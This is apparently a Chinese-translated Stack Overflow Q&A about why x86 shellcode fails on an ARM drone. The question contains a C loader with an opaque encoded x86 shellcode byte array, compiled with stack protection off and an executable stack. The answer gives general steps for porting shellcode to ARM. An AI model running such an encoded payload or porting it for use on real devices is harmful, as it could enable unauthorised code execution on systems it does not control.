交叉编译shellcode到arm

标签 c compilation arm elf shellcode

我正在做一个项目,我需要在 32 位 arm 处理器上运行 linux 的无人机上执行一些 shellcode。我可以使用标准的 busybox shell 通过 telnet 与无人机通信,所以我无法执行许多复杂的命令,因此无需在无人机本身上进行编译。我能够传输和执行我用“arm-linux-gnueabi-gcc”交叉编译的 helloworld 程序。现在的问题是:当我尝试用我的 x86 shellcode c 程序做完全相同的事情时,我在无人机上运行它后收到错误 Illegal instruction

我的 c 程序如下所示:

#include <string.h>
#include <stdio.h>

unsigned char code[] = 
"\xbe\xc6\xfe\xae\xa9\xd9\xea\xd9\x74\x24\xf4\x5b\x31\xc9\xb1"
"\x1f\x83\xc3\x04\x31\x73\x11\x03\x73\x11\xe2\x33\x94\xa4\xf7"
"\x8a\xb2\x4e\xe4\xbf\x07\xe2\x81\x3d\x38\x62\xdf\xa0\xf5\xeb"
"\x48\x79\x6e\x2c\xde\xbd\x5d\xc4\x1d\x3d\xb3\x48\xab\xdc\xd9"
"\x16\xf3\x4e\x4f\x80\x8a\x8f\x2c\xe3\x0d\xca\x73\x82\x14\x9a"
"\x07\x48\x4f\x80\xe8\xb2\x8f\x9c\x82\xb2\xe5\x19\xda\x50\xc8"
"\xe8\x11\x16\xae\x2a\xd0\xaa\x5a\x8d\x91\xd2\x25\xd1\xc5\xdc"
"\x55\x58\x06\x1d\xbe\x56\x08\x7d\x4d\xd6\xf7\x4f\xce\x93\xc8"
"\x28\xdf\xc0\x41\x29\x46\x40\x5d\x1a\x7a\x61\xde\xdf\xbd\x01"
"\xdd\x20\xdc\x49\xe0\xde\x1f\xa9\x58\xdf\x1f\xa9\x9e\x2d\x9f";


int main(int argc, char **argv) {
  int foo_value = 0;

  int (*foo)() = (int(*)())code;
  foo_value = foo();

  printf("%d\n", foo_value);
}

我使用以下命令编译了这段代码:arm-linux-gnueabi-gcc -fno-stack-protector -z execstack cprogram.c -o output.elf。 "file"命令输出:

output.elf: ELF 32-bit LSB pie executable ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=43757152cbcf40dcc6a75cf210c156332557b575, not stripped

这对我来说很正常。当编译为 32 位可执行文件时,这段完全相同的代码在我的 64 位 Linux 机器上运行良好。我已经从 shellcode 中删除了 x00 指令,我不确定是否还有更多需要删除的坏字符。所以我的问题是:导致此错误的原因是什么以及能够在 arm 处理器上正确执行此代码的方法是什么。谢谢!

最佳答案

unsigned char code[] = "\xbe\xc6\xfe\xae\xa9\xd9\xea\xd9\x74\x24\xf4\x5b\x31\xc9\xb1"

该代码是 x86 机器指令。

当然它们不会在 ARM 处理器上运行,否则您还期望什么?

您必须找到该 shell 代码的源代码(通常是一个很小的 ​​.asm 文件),将那个 .asm 从 x86 编译为 ARM 汇编,并将其编译为 ARM .o 文件,最后使用objdump -d 得到ARM 的等效机器码。

现在将该机器代码放入 code 数组,重新构建 ARM 可执行文件,然后尽情享受吧。

附言您可能会找到适用于 ARM 的等效 shell 代码,从而节省您上面的一些步骤。

关于交叉编译shellcode到arm,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/51295204/

相关文章:

c - 使用指针迭代字符串

c - 我想在一个循环或类似的东西中有 100 个结构

eclipse - julia源码中jl_value_t的含义

java - Jenkins构建失败:javac file not found

architecture - LLVM 支持哪些 ARM 架构?

c - Ride7 UART0 Putchar 设置

c - 数组大小不正确

c - 如何malloc 8*10^9 int 内存?

c++ - Visual Studio 2010 不重建/重新编译

cmake -D CMAKE_CXX_FLAGS ="-march=armv8-a"用于 aarch64 编译